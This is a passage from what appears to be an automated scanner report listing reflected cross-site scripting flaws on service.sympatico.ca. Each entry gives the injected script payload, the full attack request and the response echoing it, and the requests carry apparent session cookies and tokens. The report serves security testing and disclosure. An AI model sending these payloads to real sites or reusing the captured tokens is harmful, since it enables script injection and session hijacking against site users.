D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js5cbda"><script>alert(1)</script>74a2943c306/flash_quickfix.js" />
...[SNIP]...

2.187. http://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/flash_quickfix.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c6a2"><script>alert(1)</script>0f3bb6b1e52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_quickfix.js1c6a2"><script>alert(1)</script>0f3bb6b1e52 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:33 GMT
Connection: close
Set-Cookie: SMSESSION=uNSkiy0x8d8le2Jlubis/t1NYjiZLW2IDm9zQepzoKuX4YEDn3EQkgA//0ov+oifk91K6BgrT5Uiyrrj56RuUW8tI92tOVahA/avbSduZS4CTdFlV6IRXRDGVYWHu+oWlxReFsI4FwXyD6+yulHqC9XP5Zf1eTNaJsGKwiaJ5QfZixZuL/eMU6q43jcdwteealHowAMGYRvailjPcYhbdIuOOH4SW3W/UGuaWzIzGKhvLB17JldqgouSp2oP+RKoi2EyCP6es3thkBpHG5H1wy5ekt5svvVuabVUbhPBqUn6cJTm30UXAg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:34 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:34 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:34 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:34 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:34 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:34 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/flash_quickfix.js1c6a2"><script>alert(1)</script>0f3bb6b1e52" />
...[SNIP]...

2.188. http://service.sympatico.ca/js/formValidation.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 713a2"><script>alert(1)</script>b941954f78d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js713a2"><script>alert(1)</script>b941954f78d/formValidation.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:57 GMT
Connection: close
Set-Cookie: SMSESSION=UUfnu8mj+ULiuOt/kHdnrJ48qi1kw5vwu4EqCYoYxPFXaly1vu1hO8v6z8OtmZcAJ3b4KL40qOS3QSiKOH94cUCqEcChgUTT9mmn5ZXZaJsGFbtj6ppDPGfJRG6XGcEopvrKhhwZpzCDEmPVeemdWejhyLs8WLMtyy48IILpxRvcmQaCkYRc0TvR6igyDxfzcl8rUYYKZPccVX2GnXOq1k0O/B0AnnLZVeKlr72AtGqboJukCISt5D9jlUyeEqOE2UykKDxqFwHTe3subI0pGG43HzQ6poLwrfMnssO32CSLwK5FOzWyDA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:57 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:57 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:57 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:57 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:57 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:57 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js713a2"><script>alert(1)</script>b941954f78d/formValidation.js" />
...[SNIP]...

2.189. http://service.sympatico.ca/js/formValidation.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72dce"><script>alert(1)</script>d338be921b9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/formValidation.js72dce"><script>alert(1)</script>d338be921b9 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:06 GMT
Connection: close
Set-Cookie: SMSESSION=MFINys+YTIdHR0+J9ywlnEBIcL10vS1/vqET+00+eRsuG8cFfuOjgxNfqKk4/5B3xqT40LGzy+ekMH/sWnh3DmAJaFMCSmgchhsFlTG1C/SHWM0r9OVWhsSxCWJg3tZGs/fEOQtigoKiD7I6Sk61VK7RjtkLlLP2pZZU7o+b/NHT0vbwnUVdo7BFTjhXAuoaiFR9BCna8KBB/MPOy9vaXgCgms3gQdh58LART+rxE8fIDzrhxoZqcRaYz1fF8cc8PYfvKSmHuQbX3Z9tAt2VGrAAgK/cgpgEqebiMQemF6qO8MykToXWeg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:07 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:07 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:07 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:07 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli